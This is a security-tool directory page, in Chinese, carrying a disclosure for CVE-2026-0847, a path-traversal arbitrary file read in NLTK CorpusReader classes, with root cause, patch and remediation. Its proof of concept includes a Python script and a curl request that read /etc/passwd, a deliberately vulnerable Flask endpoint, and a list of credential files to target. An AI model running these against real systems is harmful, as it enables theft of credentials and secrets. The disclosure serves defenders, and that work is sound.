Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-0847 — NLTK 3.9.2及更早版本存在一个漏洞,可通过路径遍历在多个CorpusReader类(包括WordListCorpusReader、TaggedCorpusReader和BracketParseCorpusReader)中实现任意文件读取。 | Kitploit
工具/GitHubGitHub/hyperps/cve-2026-0847
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试论文与研究学习与教育
GitHubhyperps/cve-2026-0847

CVE-2026-0847

NLTK 3.9.2及更早版本存在一个漏洞,可通过路径遍历在多个CorpusReader类(包括WordListCorpusReader、TaggedCorpusReader和BracketParseCorpusReader)中实现任意文件读取。

查看仓库
125个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-0847 — NLTK 多个 CorpusReader 类:通过路径遍历实现任意文件读取


概述

字段详情
CVE IDCVE-2026-0847
软件包nltk(自然语言工具包)
仓库PyPI
受影响版本<= 3.9.2
漏洞类型CWE-22:路径遍历
CVSS 评分8.6(高危)
攻击向量网络
攻击复杂度低
所需权限无
用户交互无
机密性影响高
完整性影响低
可用性影响低
报告日期2025 年 12 月 4 日
CVE 发布日期2026 年 3 月 4 日
支持方Palo Alto Networks / Prisma AIRS
状态已修复

描述

NLTK 库中的多个 CorpusReader 类接受文件路径参数,但未应用任何路径规范化、白名单验证或沙箱限制。当攻击者能够控制语料库文件名或文件输入时(这在机器学习 API、基于上传的 NLP 流水线和聊天机器人服务中很常见),他们可以提供一个精心构造的路径来遍历目录层级并读取服务器上的任意文件。

在网络化部署中,NLTK 处理用户控制的文件路径时,此漏洞尤为严重,因为利用它不需要任何身份验证或权限。


受影响组件

这三个类都继承了同一个不安全的 CorpusReader.open() 方法,该方法在解析并读取所提供的文件标识符之前不执行任何路径限制。


影响

成功利用此漏洞可能导致:

  • 任意文件读取 — 攻击者可以读取运行 NLTK 的进程可访问的任何文件,包括 /etc/passwd、/etc/shadow 和 /var/log/auth.log
  • 凭据和机密泄露 — 可以提取 SSH 私钥(~/.ssh/id_rsa)、.env 文件、API 令牌和云凭据文件
  • 源代码和训练数据泄露 — 可能读取其他用户的训练数据或专有应用程序源代码
  • 远程代码执行(链式利用) — 与 pickle 反序列化漏洞结合时,路径遍历可用于加载恶意模型文件并升级为完整的 RCE
  • 横向移动 — 在微服务环境中,已观察到提取的机密使攻击者能够进行横向移动并完全入侵服务器

概念验证

此信息仅用于教育和防御目的。请勿对您不拥有或未经明确授权的系统进行测试。

通过直接 API 读取本地文件

root@kitploit:~
# PoC.py — demonstrates arbitrary file read using three vulnerable CorpusReader classes

from nltk.corpus.reader import WordListCorpusReader, TaggedCorpusReader, BracketParseCorpusReader
from nltk.corpus.reader.util import FileSystemPathPointer

root = FileSystemPathPointer("/")   # unrestricted filesystem root
target = "etc/passwd"               # any sensitive file path

print("--- WordListCorpusReader ---")
reader1 = WordListCorpusReader(root, [target])
print(reader1.raw(target)[:200])

print("--- TaggedCorpusReader ---")
reader2 = TaggedCorpusReader(root, [target])
print(reader2.raw(target)[:200])

print("--- BracketParseCorpusReader ---")
reader3 = BracketParseCorpusReader(root, [target])
print(reader3.raw(target)[:200])

输出(节选):

root@kitploit:~
--- WordListCorpusReader ---
root:x:0:0:root:/root:/usr/bin/zsh

--- TaggedCorpusReader ---
root:x:0:0:root:/root:/usr/bin/zsh

--- BracketParseCorpusReader ---
root:x:0:0:root:/root:/usr/bin/zsh

远程利用场景 — 存在漏洞的 Flask API

NLTK 通过 HTTP API 暴露时的现实场景:

root@kitploit:~
# Vulnerable API server
from flask import Flask, request
from nltk.corpus.reader import WordListCorpusReader
from nltk.corpus.reader.util import FileSystemPathPointer

app = Flask(__name__)
root = FileSystemPathPointer("/")

@app.post("/read")
def read_file():
    filename = request.json.get("file")
    reader = WordListCorpusReader(root, [filename])
    return reader.raw(filename)

app.run("0.0.0.0", 8000)

攻击者请求:

root@kitploit:~
curl -X POST http://TARGET:8000/read \
     -H "Content-Type: application/json" \
     -d '{"file": "etc/passwd"}'

结果: /etc/passwd 的完整内容在无需任何身份验证的情况下返回给攻击者。


根本原因

该漏洞源于 CorpusReader.open()。该方法使用 FileSystemPathPointer.join() 直接根据配置的根路径解析所提供的 fileid,而不执行以下任何检查:

  • 拒绝绝对路径
  • 检测父目录遍历(..)
  • 路径规范化与比较,以强制限定在语料库根目录内

由于 FileSystemPathPointer 可以使用 / 进行初始化,因此控制 filename 参数的攻击者可以不受限制地读取整个文件系统。


建议补丁

研究人员提出的最小修复方案,应应用于 CorpusReader.open() 内部:

root@kitploit:~
import os

normalized = fileid.replace("\\", "/")

# Block absolute paths
if os.path.isabs(normalized):
    raise ValueError("Absolute paths are not permitted.")

# Block directory traversal sequences
if ".." in normalized.split("/"):
    raise ValueError("Path traversal sequences are not permitted.")

# Enforce confinement within corpus root
joined = self._root.join(normalized)
if not os.path.normpath(joined._path).startswith(
    os.path.normpath(self._root._path)
):
    raise ValueError("Path escapes the corpus root directory.")

上游修复 PR 位于: https://github.com/nltk/nltk/pull/3479


修复措施

通过 pip 升级:

root@kitploit:~
pip install --upgrade nltk

验证已安装版本:

root@kitploit:~
python -c "import nltk; print(nltk.__version__)"

时间线


参考资料


免责声明

本仓库记录 CVE-2026-0847 严格用于教育、研究和防御性安全目的。提供概念验证代码和技术细节旨在帮助开发人员、安全工程师和系统管理员理解、评估和修复此漏洞。

任何使用此信息在未经明确授权的情况下访问系统的行为都是非法且不道德的。作者对滥用本文所含信息不承担任何责任。

贡献者 @mohitf070304

下载工具
类文件状态
WordListCorpusReaderwordlist.py L1–L120易受攻击
TaggedCorpusReadertagged.py L1–L140易受攻击
BracketParseCorpusReaderbracket_parse.py L1–L150易受攻击
使用相同基类模式的其他类—待更广泛的审计
操作详情
升级 NLTK官方补丁发布后,升级到高于 3.9.2 的版本
输入验证在将用户提供的文件路径值传递给任何 NLTK CorpusReader 类之前,对其进行清理和验证
避免用户控制的路径不允许用户输入直接或间接控制任何 CorpusReader 的 fileids 参数
最小权限在受限的 OS 用户账户下运行基于 NLTK 的服务,读取权限仅限于语料库目录
容器化将服务隔离在 Docker 容器或 chroot 监狱中,以限制成功遍历的爆炸半径
Ubuntu 补丁监控 Ubuntu 安全公告 以获取发行版级别的软件包更新
日期事件
2025 年 12 月 4 日研究人员 hyperps1 向 huntr.dev 报告漏洞
2025 年 12 月通过 huntr.dev 通知 NLTK 维护团队
2026 年 1 月NLTK 维护者验证了该漏洞;向研究人员颁发了披露奖励
2026 年 1 月分配 CVE-2026-0847
2026 年 2 月向 NLTK 维护者发送了 48 小时发布前预警
2026 年 3 月 4 日CVE 在 NVD 和 huntr.dev 上发布
2026 年 3 月 5 日NVD 记录最后修改
资源链接
NVD 条目https://nvd.nist.gov/vuln/detail/CVE-2026-0847
Ubuntu 安全公告https://ubuntu.com/security/CVE-2026-0847
官方 CVE 记录https://cve.org/CVERecord?id=CVE-2026-0847
huntr.dev 报告https://huntr.dev
修复 Pull Requesthttps://github.com/nltk/nltk/pull/3479
PyPI 上的 NLTKhttps://pypi.org/project/nltk/
OWASP 路径遍历https://owasp.org/www-community/attacks/Path_Traversal
CWE-22https://cwe.mitre.org/data/definitions/22.html